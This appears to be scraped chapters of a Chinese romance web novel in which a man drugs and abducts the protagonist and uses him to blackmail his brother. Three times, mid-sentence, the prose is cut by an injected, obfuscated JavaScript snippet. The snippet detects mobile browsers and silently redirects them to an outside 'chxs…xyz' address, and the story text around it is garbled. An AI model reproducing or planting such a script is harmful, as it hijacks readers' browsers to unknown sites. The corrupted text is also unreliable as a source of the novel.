四周掩映在一片墨绿茂密树林中,不远处有一座教堂似的建筑,看起来像个庄园式的高档酒店或餐厅,然而夜色浓重,让人看不出是在哪里。 程荆坐着没动,声音朦胧带点困意:“这是哪里?” 梁昱霖原本已经开了车门,此时半个身子跨了出去,听见程荆的问句十分自然地回头道:“是汇林湾俱乐部,旁边是高尔夫球场和饭店。太晚了,在这里歇一下,明天再走吧。” 程荆本来很怕这里是梁昱霖的居所,他很久前曾到访过一次,是位于西山的半山别墅,别称叫小重山公馆,天黑后和这里看起来很像。不过仔细打量的确略有不同,他稍稍放了心。 约莫是第六感,程荆依旧略有些不安,面上仍旧平静:“你自己玩吧,我自己走出去打车,今夜就不留了。”说着便拿出手机要点开软件。 梁昱霖却关了车门三步并作两步跨过来站在程荆眼前,笑道:“你不怕梁景珉去酒店找你?在这边歇一晚吧,我房间都安排好了。” 方才他还答应送到酒店,却自作主张开到这里,程荆心里冷笑。但他并非没有料想到这类情形,是以也没有太意外,仍是给了他基本的面子:“我真不留了,谢谢你送我出来。” 梁昱霖耸了耸肩,大约有些遗憾,却也没有强求:“好吧,天晚了,你慢走。” 程荆点点头,低头看着手机便往路另一头往外走。 这个俱乐部很僻静,大约因为也兼职承办室外婚礼,种植了不少高大树木烘托氛围感,路道入夜却显得有些阴森。 梁昱霖在身后挽留:“太晚了,这里不好打车,不然你边打着车,顺道进来坐着等吧。” 程荆驻足,低头看软件上写着的无人接单,伸手增加了车型,远远道:“谢谢你好意,但不用了。” 梁昱霖缓步走过来,很没边界感地探头来看程荆的手机:“哎呀这不是没人接单吗,一个人在外面等像什么话?进来喝杯茶吧,你别怕我,这边这栋只对会员开放的,我几个朋友在楼上打牌呢,不是只有我一个人。” 他伸手指了指一侧,树木掩映间露出不远处一幢别致的独栋小别墅,二楼的确亮了灯,只是远看不甚明显。 他不过愣神了一刻,便被梁昱霖拉着往那个方向走了两步。 看着前不着村后不着店的俱乐部,四周皆是阴森森的树林,远处一点暖黄的灯光倒让他稍有安全感,更何况他一个大男人,正常情况下本也不必怕和梁昱霖再多相处几分钟。 于是他沉默地跟着梁昱霖走了一段,最终没说出第三次拒绝。 这竟然是个隐藏得相当好的小屋,室内装修得很漂亮,程荆垂眼,似乎的确听见人声,大约梁昱霖所言非虚。 他回头去看同样刚进门的梁昱霖,正待要开口,却忽然察觉出梁昱霖不对劲的神色。 他那张酷似梁景珉的脸上忽然浮现出一种梁景珉绝不会有的神情,仿佛是残忍与狡黠的混合,程荆心中油然而生一股极为不详的预感。 下一秒,身后不知何处冒出一双手,按着一张不知是毛巾还是布的东西捂在程荆口鼻处。 程荆只闻到一股甜腻腻的气味,甚至来不及说一句话,身体就缓慢软倒了下去。 他失去意识前的最后记忆,是梁昱霖盯着他的那双布满笑意的眼神。 他伸手抓过失去意识的程荆的下巴,抿嘴笑了,用着耳语的音量低声道:“你终于落到我手里了。” …… 贺沛廷作为伴郎在婚礼上吃足了酒,醉醺醺地起身去洗手间,回宴会厅的路上忽然被不知是谁伸手拉进了身侧一个陌生房间。 博览园里房间多如牛毛,这个里边铺着红色墙纸,甚至还有些颇为瘆人的中世纪挂画,他酒瞬间醒了一半,一抬头正正对上梁景珉的脸。 他整个人湿成落汤鸡,此刻脱去了外套,衬衫贴在身上,神色还算镇定但脸色惨白得难看。贺沛廷与他相识多年,几乎从未见他如此狼狈过。 贺沛廷讶异道:“你怎么了!就难受成这样?非得跑出去淋雨?” 梁景珉脸上没什么表情:“你喝酒喝糊涂了,几时见我难受?” 贺沛廷正要开口反驳,却被梁景珉沉声打断:“先说正事,刚才程荆跟着梁昱霖跑了,我猜他们或许会回小重山,你们家离得近,有没有人手可以动用的?” 贺沛廷虽早知道梁景珉大摆婚宴就是为了引程荆前来赴宴,仍然觉得事情发展出乎意料,自觉吃了一口惊天大瓜:“什么?他来了?人没捉住还和你弟跑了?” “别废话,先说有没有。” “有有有,我打个电话,现在就去小重山看一眼。”他说着便掏出电话,三言两语吩咐了几句,冲着梁景珉道:“他们去了,一会儿就给消息。” 他又问道:“怎么回事,一开始不是说他没来吗?” “他染了一头黑发,这里的人没用,单盯着白头发的人找。”梁景珉简短答道。 “那你知不知道他住哪里?先去酒店找,然后就是火车站飞机场,左不过就这些地方,你查了没有?” 梁景珉眼底晦暗不明:“他不想见我,找也是枉然,若是他自己走了也就罢了吧,就怕落在梁昱霖手里。” “他敢怎么样?”贺沛廷有些不解。 “他看着良生那个项目虎视眈眈,先前就拿程荆受伤的事情说事来威胁……”他顿了顿,续道,“那些我是不怕的,但若是他拿程荆在手里要挟,事情就不好办了。” “他手里养着一堆不要命的东西,我之前睁一只眼闭一只眼是不想他坐牢,但眼下不能不提防。” 贺沛廷终于正色起来:“他还不吃教训吗?” 梁景珉没有回答他,只说:“把你外套换给我,我还得去和赵都宁交代一声。” 他接过贺沛廷的西装外套套上,转身开门走了出去。梁景珉的脊背笔直得近乎僵硬,这般狼狈下步伐仍然是稳的,没有人看得出他的双手在微微颤抖。 新婚夜新郎高调地开车跑丢了,席内倒没有乱成一团,多亏了赵小姐还算冷静,她收拾完混乱的局面便离开了宴会厅,独自消化着这个复杂的夜晚。 过一会儿本应由新郎新娘开场共舞一曲,但梁景珉现在显然并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13889720|147029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无此意了。 他湿发较之平素一丝不苟的模样倒别有一种感觉,赵都宁不禁多看了两眼。 她手里抱着睡着的点点坐在空荡的化妆间,巨大的裙摆散落着,秀发披散,竟也显得微微失意。 “苏总呢?”梁景珉问。 “走了,”她道,“有什么事吗?” “没有。我也打算走了,来和你说一声,你和点点需不需要我捎一程?” 赵都宁没有回答,只是笑了:“可笑,一场婚礼,没了新郎新娘倒也丝毫不觉得少了什么。” “本来就是作秀罢了,没必要放在心上。”梁景珉心不在焉道。 “我不该答应的,你也不该答应的,”她低声道,“这是一个错误的决定。” 梁景珉没空和她废话,也不知道如何出言安慰。此刻消息传递到了,见她也没有要搭顺风车的意思,便只微微点了点头,转身离开了。 这是一个漫长的夜晚。 当夜贺沛廷的人自然没有在小重山找到程荆,费了百般功夫联系到他曾暂住的酒店后,消息显示他于凌晨退了房,不知所踪。 次日天亮后,梁景珉新婚中途离席、雨夜飙车的新闻铺天盖地,想也知道是谁的手笔。 梁景珉左支右绌,既要撑着收拾舆论残局、忙着应对大小问询、收拾集团的工作事宜,还得独自承受程荆失踪的坏消息。 有一度,贺沛廷都以为他会崩溃。 因为倘若他是一个普通人,或许可以哭一场、摔烂东西,抑或是发一通惊天动地的脾气撂挑子不干了,可梁景珉不行。他肩膀上担子太重,太多人虎视眈眈盯着他,倘若有分毫放松,他所要承受的代价将会是千倍万倍。 他自始至终冷静得可怕,那个雨夜鬼魅一般淋得湿透的失意人仿佛从没出现过。 他整宿地不睡觉,不是在办公室便是开车四处奔波,最终工作没出任何错漏,舆论难题竟也被他干脆利路地了结了,种种棘手问题在他面前似乎都不算什么,唯有寻找程荆的工作徒劳无果。 他再也没有出现过。无论是交通站点、各类他常去的公共场所,抑或是裴羲、林殊珩等零星几个他仍有联系的旧友处,都没有关于他的半点音讯。 程荆仿佛就这样人间蒸发了。 梁景珉查了监控,看见那日梁昱霖驱车带程荆去了汇林湾俱乐部,然而那整片路段着意没有装设监控,只能看出那夜后程荆没有再出来。 梁昱霖坚称那日程荆下车后便步行离开,可汇林湾太大,要排查简直大海捞针。 尽管经历了万般阻挠,梁景珉还是强硬地带人将汇林湾和小重山翻了个底朝天,可惜最终也没有找到程荆的踪迹,而至此,他已经穷尽了能力的最大范围。 唯一令他宽慰的是,梁昱霖的表现滴水不漏,他看起来是当真不知道程荆此刻身在何方。他最早担心的事情似乎没有发生,因为梁昱霖没有理由会在捉住了程荆后却不利用这个筹码。 漫长的混乱结束后,梁景珉终于意识到再也没有什么他能做的,只能默默忍受程荆消失的苦果。 他想,或许程荆真的找到了方法,逃脱了他精妙的天罗地网,神不知鬼不觉离开了这个城市,获得了他所向往已久的自由。这样即便他们或许此生再不复相见,两人中至少有一个得到了想要的。 可惜事实总不遂人愿。 程荆消失半个月后,那封他曾在雨夜承诺过的离婚协议书,被悄然放在了梁景珉的办公室门口。 20. 落款 “什么叫不知道是谁?”梁景珉指节敲击桌面,发出一声低促的闷响。 集团大楼的行政主管站在梁景珉面前低着头,背上冷汗已经浸透了衬衫。 办公区的门禁其实相当严,每个入口都配备三位保安,每个进入大楼的员工都需要出示工卡才可进入,除此之外,进入办公区还需再次刷脸认证通过闸机。 监控没有拍到这个人的正脸,他穿一身普通的外套,戴鸭舌帽,扔进人堆里都找不出来,他持有有效的工卡进入了办公区,直奔梁景珉的办公室,将文件放在门口便即刻离开。 梁景珉已经翻看过有他身影的所有影像信息,确认这不是程荆本人,但也无法辨认这究竟是谁。 对比闸机信息,他所刷用的工卡归属一位实习生,她于月前离职,工卡也正常归还了,只是在职期间曾丢失过一次工卡。 主管一脸官司,一遍又一遍道歉说明状况:“她丢失的时候工卡没消磁,的确存在还能使用刷开门禁的可能性,他混进来的时候是上班高峰期,保安的确不可能细看每一个人的工卡……只能确定这个人很了解我们的门禁规则,这才能找到漏洞。” 梁景珉面色阴沉,一手支着太阳穴,垂目看着桌面,听完主管的陈述后抬起右手挥了挥示意他滚。 从脸色来看,他的确已经到达了忍耐的最后限度,主管再也不敢多说,十分识相地滚了。事件最终以裁撤更换所有保安并全面升级工卡系统为终结。 梁景珉的脸色很差,长时间的连轴转对他而言不可能一点影响都没有。他的确极为强悍,但只要是肉|体凡躯,都有能力的边界点。 他依旧浑身上下一丝不苟,若不细看,从他身上瞧不出任何力不从心的模样,然而他挂下巴的黑眼圈和消瘦了一圈的脸颊昭示着这些日子耗费的心神依旧留下了不可磨灭的痕迹。 赶走了主管,梁景珉靠在椅子后背上,缓慢出了一口气。 他抬眼扫了一眼那张离婚协议,右下角赫然是程荆的签名。 无须笔迹鉴定,他一着眼便看出是程荆的字迹,简直分毫无差。 线索断在了这里,梁景珉轻轻摩挲着那张纸,眼帘垂敛,不知在想着什么。 单薄的纸张似乎也带点温度,他抬手抚过程荆的字迹,忽然没来由想起那日程荆从湖畔别墅逃出去时,留在床头柜上的字条。 梁景珉翻出钱包,找出了那张皱皱巴巴的字条。一张鹅黄色的便签纸,那日盛怒之下被揉得发皱,像颤抖花蕊上欲飞的粉蝶,字迹依稀还能看清—— “提前祝你新婚快乐。我成全你们,别折磨我了。” 落款是“程荆”二字。 梁景珉将字条放在离婚协议书边,眉头缓缓皱了起来。他皱起眉也是好看的,像风揉皱了湖水,起波澜时是另一番动人。他认真端详着,总察觉有哪里不对劲。 倘若不细看,两张纸上的签名几乎如出一辙。 都说字如其人,形容程荆算是恰如其分。他的字微微连笔,写得相当漂亮,和他本人一样,都可作为供人欣赏的艺术珍品。 梁景珉再度伸出手摸了摸签名处的纸张,仿佛察觉到了什么,骤然翻过了那张纸。 一翻看便发现,若说这个签名有哪里不合寻常的话,那便是“程”字左侧偏旁中的“木”字格外用深,力透纸背,墨迹微微渗透了出来。 但这仿佛也代表不了什么。不过是一个笔画的深浅差异,兴许只是偶然。 但倘若是故意的,他为何要这么做呢? 梁景珉不可抑制回想起暴风雨夜程荆的眼神,想起他说出那句“我们不要再见了”时的神情。 他的眉目潮湿,眼神却是很淡然的,那种独属于程荆的淡漠。 他们亲吻时、更亲密时,程荆总偶然会露出这种神情。仿佛周遭一切都不是他所求的,他只不过是一具被攫取灵魂的苍白艳尸,亲吻也是亵渎。 真是奇怪,程荆曾说过很多次恨他,却都比不上这一句简单的告别让人难受。 这种回忆的感受仿佛搅动插在心上的尖刀,翻出的血肉令人剧痛作呕,梁景珉忽而觉得胃内翻涌,伸手按住,肩膀剧烈颤抖起来。 灼热的痛楚仿佛从无形处缓缓攥紧了他的内脏,越来越用力地逼迫他,直到他几乎要将五脏六腑全部吐出来。 如果悲怆的折磨是换取记忆的代价,那么梁景珉甘愿承受。 终于缓过来时已经天色将晚,日光西沉,天际仿佛拢着一层干涸褪色的薄纱。梁景珉沉默地吞咽着痛苦,独自碎裂又独自缝合。 他年少时在自己房间里看见的天,也总如同此刻一般是晦暗的。那时他躲在衣柜里,抑或是床底下,听着他父亲的脚步声。 一步近似一步,他的心脏随之剧烈颤动,双手紧紧捂住嘴,生怕发出呼吸声。这样一躲便是一夜。 后来他身边多了一个孩子。阿霖年纪小,总会控制不住吓得哭出来,梁建中会在这个时候找过来。他不得已走出房门,垂着头喊爸爸,迎接他的必然是彻夜的毒打。 那时候他从没想过值不值得。 入夜,骇人的记忆翻涌而来,呼吸也成为一种折磨,灌入肺部的空气像是钝刀切割神经,一面提醒他还活着,一面提醒他痛苦永远不会终结。 他想起那时伤痕累累地蜷缩在房间角落入睡时,他总会梦见一个人伸手捂住他的双眼。那个人符合梦境的一切特质,他伏在他肩侧附耳低语,梦醒时分他从来想不起他说了什么。 梁景珉唯一记得的,是在细长五指缝隙间曾看见过的,那个人雪白的睫毛。 …… 程荆醒来的时候,感觉喉间干渴万分,像是这辈子没喝过水一般,呼吸的空气都粗如沙砾,起伏间仿佛要割裂他的气管。 周遭漆黑一片,刹那间他无法回想起曾发生过的事情。 他剧烈地喘起气来,想要坐起身,此刻才发现自己被牢牢绑缚在了床上,双手卡着极粗的束缚带,他一看便知,这是用以防止精神病人伤害自己的。 他脑海中涌现出一种难言的熟悉感,然而只是一回想便觉得颅内刺痛,无法回忆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13889721|147029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他急促呼吸、用力挣扎着,却无济于事,只得出声呼喊。喊出来他才他才发现自己嗓音嘶哑难言,不经意间喊出的名字却极为熟悉。梁景珉。 奇怪,他分明要被渴死,此刻却又有溺水之感。 身侧似乎有什么东西终于察觉了他的存在,下一秒“啪嗒”一声,室内陡然变得明亮,程荆再度开始呼吸。 “你醒了,”他转过头来。 是梁昱霖。 他是蛰伏的鬼魅,也像甩不脱的棘手蚊蝇。程荆合上双目,不愿看见他。 “怎么还想着他?”梁昱霖笑了,“还是说他绑你绑太多次,都出条件反射了。” “我应该提醒你别乱动,但我想你应该也很熟悉了,用不着我多说。” 程荆终于嘶哑道:“这是哪里?” “不重要,”梁昱霖轻快地答,“你只要知道你现在在我手上就行了。” 说罢,他伸出手来触碰程荆的眉心,缓缓抚过他的鼻尖和脸颊,仿佛恋人的温柔缱绻,然而这种温柔抚摸此刻却让程荆骨缝都散发出寒意。 他极力想躲开梁昱霖的指尖,却无法挪动,此时才终于看清四周的环境。这竟然很像个医院,四周是涂成淡蓝色的墙面,有些叫不出名字的熟悉器械,倘若没有梁昱霖阴森的脸在身侧,倒并不让人害怕。 他继续缓缓自说自话:“你睡着的时候帮你做了些检查,所幸你虽然不太健康,但好歹健全。” 这句话语义不明,莫名让程荆感觉胆寒。 他眼睫剧烈颤动起来,低声问:“你要做什么?” “别急呀,”梁昱霖说,“我们有的是时间。” 程荆感觉意识缓缓回笼,想起那夜自己一时失察落入了梁昱霖的圈套,此刻人为刀俎我为鱼肉,他没有谈判的筹码。 既然已经落到这步田地,再挣扎也是无济于事,程荆还算镇定,大约是发生在他身上的倒霉事已经过于多,也极大地锻炼了他接受了现实的能力和速度。 梁昱霖绕着程荆躺卧的床缓缓挪着步子:“你应该还不知道自己睡了多久吧?” 程荆隐隐察觉自己已经昏迷了很久,也不回答,只静静等着梁昱霖告诉他。 “你睡着的这些天,我的好哥哥可是把西京翻了个底朝天啊。” 程荆面色毫无波澜,有些无奈:“所以呢?哪次不是?” 梁昱霖笑了:“这次不同,这次我当然可以卖他一个乖。如果他知道你在我手里,你觉得会怎样?” 老套,毫无新意。又是威胁,只有威胁。程荆简直无话可说。 但他的面色仍是缓缓凝重了:“梁昱霖,别得寸进尺,你已经威胁我很多了。” “我的确喜欢梁景珉,但你别以为他在我心里的分量就那么重,重到可以容忍他的弟弟多年如一日地胡作非为。” 程荆还没从长时间的昏迷中缓过来,说到最后一句时声音已经极为嘶哑,几乎是怒火强撑着讲完的。 梁昱霖竟然没生气,反倒笑得更灿烂:“别急着做决定,你先听我讲完。” 21. 重逢 七月的第二天,看似是一个平凡的日子。夏中的西京已经热起来,气温没日没夜烧灼,空调风刺骨,园中紫薇盛放,这是独属于汽水和烈阳的季节。 距离那个早春冰凉凄冷的暴雨夜,已经过去了足足六个月。 贺沛廷的新女友过生日,这日正巧天不太晒,他于是遍邀了一众好友从雁笙码头包豪华游船开派对,一路顺着白龙河而下赏景游船,梁景珉自然也在此之列。 他和贺沛廷的女友原本没什么关系,是不愿意来的。贺沛廷换女友如同换衣服,简直太没什么稀奇,只是这一任正巧和赵都宁认识,说什么也要见见姐妹的结婚对象,求着贺沛廷非要带梁景珉来。梁景珉不能不卖好友一个面子,到底还是拨冗前来了。 他不讨厌这种场合,多年来其实早已经习惯了,此刻只坐在一旁喝酒吹风。 他远远点着一根烟,烟雾掩映着侧脸,轮廓清晰又模糊,远看倒显得寂寥的模样。 “梁总瘦了,”苗驰手里捏着酒杯,对着贺沛廷低声道,“虽然说不出来,但总觉得上次见到他的时候和现在还是不一样。” 贺沛廷没有回答,他的沉默其实是在赞同。 “人还没找到吗?”苗驰问。 苗驰和梁景珉没有私交,但汇林湾是他家的,当时梁景珉遍寻程荆不得时他处处也帮了不少忙,可惜距离甚久,他和梁景珉也有好几个月没见了。 贺沛廷听完摇摇头:“你今天可千万别提这件事,然然过生日呢,别坏了气氛。” 苗驰用手在唇间比个拉拉链的姿势,示意自己不敢多嘴,坐到一旁去了。 恰在此时,穿着白裙的汪荷然捏着红酒杯走到梁景珉面前,笑道:“梁总!感谢你赏脸前来!” 梁景珉见她过来,立即抬手按灭了烟,端出个礼貌的笑意,举杯低着碰了碰,说:“没有。生日快乐。” 汪荷然优雅地抿了一口酒,将杯子在身侧小桌上随手一放,竟也没有打算走的意思。 她轻快地聊着闲天:“之前突然听说小赵要结婚,我都吓了一大跳,后来听说是和梁总,我又赞她好眼光。只可惜……” 她没说完剩下的话,但梁景珉听懂了。 他和赵都宁的婚姻已经达成了所需的商业价值,之后自然再无关系。这件事知道的人不多不少,大多是熟人,识趣地不会拿到明面上来谈。 但汪荷然和赵都宁是发小,是不怕说这件事的,梁景珉当然更不会和她计较,只问:“你们这么熟,她今天怎么没来?” “她出国了,和苏苏玩你逃我追的游戏呢,我都懒得管她。”汪荷然撇了撇嘴下了判断:“恋爱脑。” “而且,梁总,倘若不是她今天不来,我怎么好喊你?你俩见面多尴尬,我肯定也邀不上你了。” 梁景珉笑了笑:“她最近还好吗?点点快上学了吧?” “还没,还有一年呢。”她轻声答。 梁景珉点点头:“是了,我记错了。” 空气霎时间安静了一秒,倘若是往常的攀谈,此刻便也该作结收尾了,然而汪荷然却罕见没有要离开的意思。 她继续说着:“早些时候听说梁总的朋友不见了,闹了好大一番,大约最近还没找着吧?” 梁景珉的脸色沉了沉。 见他变了脸色,汪荷然忙道:“别担心,梁总,我不是来窥探你的隐私,其实恰恰相反,我是有话要帮忙传给你的。” 她看着梁景珉的模样,却忽然有点明白那个素不相识的男人为什么要迫切离开他身侧。此刻,他不过是简单的蹙眉抬眼,看过来时便已经仿若夹杂狂风金火,让人胆寒得想要即刻逃脱,更何况真发怒时? 但她答应了自己的朋友,自然还是要把话说完。 “其实这个话,恰恰是小赵要我告诉你的。苏苏在,她不好和你联系。” 赵都宁是个相当聪明且有教养的姑娘,也识分寸,从不刺探别人的隐私,只是婚礼那夜意外得知了程荆的事情,所以也曾热心地私底下帮忙问询过消息,只不过最终也是不了了之。 “是她的……医生。”汪荷然仿佛忽然有点难以启齿,眉目略有些迷茫飘忽,“见到了一个很像他的人,毕竟他的病很罕见。只不过不敢完全确定,所以只让我私底下和你说。” 梁景珉骤然合眼,仿佛是溺水的人抓住了绳索。 汪荷然亲眼见着梁景珉的脸色陡然变了,却仍忍着胆寒说完:“还是要麻烦您别将此事告诉他人。那家医院的医生本应对病人信息严格保密,可别让赵都宁的医生丢了工作。” 梁景珉沉默了良久。他不说话,汪荷然也不敢出言相催,眼见他敛眉不知想着什么,面色森冷。 终于,梁景珉沉声开了口:“别担心,这个分寸我有。” …… 游船到底还是为他靠了岸,梁景珉驱车赶往方才汪荷然所说的那家私立医院。 程荆离开后他才终于忍无可忍辞退了翟管家,没了得力的翟振磊时时刻刻替他做这些繁琐小事,他得事事亲力亲为。 他右手单手握着方向盘,左手掐着烟,车内的烟灰缸里已经驻满了颓唐的烟头。他抽得极凶,愈发脸色苍白,车开得也不太平稳。 好在其他车看了他的车标都立刻往两侧躲,谁也不敢剐了梁景珉的车,不过是引得身后鸣笛一片。 几分钟前他刚刚致电谢函弋,他有同学在这家医院工作,已经秘密联系好了人在查就诊信息,与此同时梁景珉一路横冲直撞了过去,堪堪在医院门口停下时接到了电话。 “景珉,你已经来了吗?”谢函弋在电话那头问。 “刚到,你查得怎么样?” 谢函弋招手从正对着停车场的住院楼跑出来,面色凝重地说:“已经在问了,但不大好查,医院很看重信息安全,我同学的权限也不够。对了,她有告诉你程荆是在哪个科室吗?” 梁景珉摇头:“我问了,没有。现在也联系不上赵都宁。” “那恐怕还得找有没有别的熟人……他总不会现在就在里面,你这消息晚了一手,我觉得找到的几率不算大,”谢函弋不太有信心的模样,“倒不如不费这个功夫,本来这个消息也是捕风捉影的。” “景珉,你已经疯了太久了,好不容易看你生活稍微回归正轨……”谢函弋紧皱眉头,有些担忧地看着梁景珉。 梁景珉面色微动,只漠然道:“我们进去吧。” 他没有出言解释,但道理其实很简单。程荆的消息既然已经三手传到了他耳中,那么就必然有别人已经知晓。他必须抢先找到程荆,不然等到程荆成为别人制衡他的筹码,事情就真的不好办了。 人常说爱一个人便有了软肋,但如履薄冰的梁景珉再也承担不起另一个软肋了。 他们快步往医院内走去,谁知两人还没跨过医院大门,梁景珉的电话竟先一步响了起来。 谢函弋不知道是谁打来的电话,只看着梁景珉接起来后的脸色一点点被涂成极为难看的颜色。他眼眸中阴云笼罩,仿佛风雨欲来。 “到医院了吧,哥哥。”电话那头是熟悉的声线。 梁景珉没有问他为什么知道自己的行踪,他从不做狼狈而毫无意义的事。 “让我猜猜,你终于听说了消息,是么?”他的声音雀跃。 这句话预示着两种可能:其一,消失半年的程荆被梁昱霖提前找到了并控制在了手里;其二,程荆从始至终未曾逃离过。无论是其中哪一种,都是梁景珉极其不愿看到的,且都只指向一种结局——梁昱霖的敲诈。 几乎只要几秒,梁景珉就想通了前因后果。 只见他握住电话的手上过分用力到青筋暴起,却面无表情沉声道:“你要什么。” 他的语气很平静,不知是习惯还是强装出来的。 “我就知道你是聪明人。”电话那头的声音稍微有些模糊,却没有首先提出“报价”,梁景珉知道他是在等自己的诚意。 他分明知道不能表现出关切,否则梁昱霖必然会坐地起价,然而他关心则乱,早忘了什么谈判技巧,只干脆利落道:“良生的合作,还有你早就想要的股份。” 这都是这几年来梁昱霖费尽手段所求的东西,分量极重,梁景珉从未让步,此刻他一开口便全部抛出,几乎已经是诚意给足。 梁昱霖仿佛有点惊讶,顿了一刹那,语带笑意:“你还真是爽快。” “他在哪里?”梁景珉的声音发紧。 “不过我要先告诫你一句,你就算知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13889722|147029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他在哪里,他也不一定愿意见你。” 梁景珉加重了声音:“所以我刚说的筹码你是要还是不要?” 梁昱霖:“看在你是我哥哥的份上,我也就不多敲诈了,但还要再加上一项。” “什么?” “还记得我们当初的赌约吗?”梁昱霖的声音有点渺远。 话音落下,梁景珉几乎条件反射般想起程荆苍白清秀的脸。他猩红的泪眼如同稠丽的雾,若隐若现间他干裂的嘴唇一开一合:“所以,这一切都只是你和梁昱霖打的一场赌?” 那时他什么也没说,只是望着他。 “那我算什么,梁景珉,”程荆难受的时候双眼微微眯起,这时挂不住的泪珠就淌了下来,“那我们算什么。” …… 梁景珉最终拿到了地点。 他赶到东城另一家医院的时候天色将晚,这或许这也是梁昱霖的嘲弄之一——从先前的医院赶到这里几乎要跨越整个西京城,漫长的路途也是一种折磨。 好在西京的傍晚总是美丽,此时从侧窗洒进来的光线很柔和,散发出琉璃般光彩。 私立医院的单人病房中一切都是崭新的,没有医院的嘈杂。走廊里弥漫着温馨的气息,许多病房的门口都挂着制作精良的布娃娃。只有梁景珉脸色发白,气息沉重,显得格格不入。 他冲进房门的时候没有人敢阻拦,此刻病床边守着梁昱霖的助理,两个人高马大的保镖立在外边当门神,可惜都没能拦住他。 他喘着气,恍若邪灵破晓而入,成为整个安静房间内的杂质。 而房间正中央的病床上,正正坐着格外消瘦的程荆。 半年不见,他显得有些陌生。 他竟然蓄起了头发,半长不短,此刻松散绑在脑后。先前染黑的发色并未完全褪去,此刻呈现着奇怪的渐变——发根是雪白的,发尾却是黑色。 深发衬得他皮肤愈发惨白,发根长出不长不短的一层白色来,分明很奇怪,却莫名让人感觉添了些许温柔。 兴许是见人前来,他微微抬起下巴,这才显出他的病态来。他简直瘦得吓人,脸色白里发青,像只不透亮的玉镯子,眼底下两团浓重的乌青,估计得至少有一个月没睡好觉了。 梁景珉不知道自己打开门之前想着什么,大约是希望这一切都只是梁昱霖的有一个低俗的恶作剧,然而惨败的现实却远比他想得要糟。 他想过重逢的,却不是以这样面目全非的模样。 梁景珉的心后知后觉酸痛起来,他怒火中烧,找不到发泄的出口,只对着梁昱霖的助理说道:“滚出去。” 助理早知道他会来,麻溜地滚了。 程荆缓缓抬头看他,像个年久失修的机器人,脖颈处生了锈迹,运转不灵。 看清是梁景珉时他显然有些坐不住,眉头皱起来,浅色的瞳孔震动着,像看见什么不可置信的东西。 他怔在原地,仿佛有些恍然大悟,眼神迷茫而难过。 原来真的是他,不择手段、卑鄙下流,他不愿相信的,原来都是真的。他放弃自由换来的人给他下了这样不可原谅的圈套。 程荆还是那样漂亮,不经意的几个神态便流转出让人挪不开眼的光彩,梁景珉却有些不敢看他,他枯败的身体有如荆棘刺痛他的眼睛。 更让他心痛的是程荆的眼神,他的内心活动太复杂,梁景珉从来理解不了。 大约人在逃避某种情绪时便会四下看去寻求解脱,是以梁景珉挪开了直视程荆双眼的目光。 他首先是瞧见窗外的绿荫,漆成淡蓝的墙面,窗帘拉了一半,隐隐漏出些渐暗的天光来。 梁景珉的目光接着缓缓下移,看向程荆削尖的下巴,消瘦的肩膀。 下一秒他看见的东西令他极为震惊,终于没克制住双手颤抖起来,几乎要站立不稳—— 天不热,屋内开着适宜的冷气,程荆身上罩着一张浅灰色的薄毯。 而在这所罩的薄毯之下,他的小腹隆起了一条不可忽视的弧度。 程荆开口叫他的名字,声音嘶哑得可怕。 他的眼神此刻很空洞,像无机质一般,方才的迷茫和痛苦都消散了。他只是很平静地问道:“梁景珉,你为什么要这么对我?”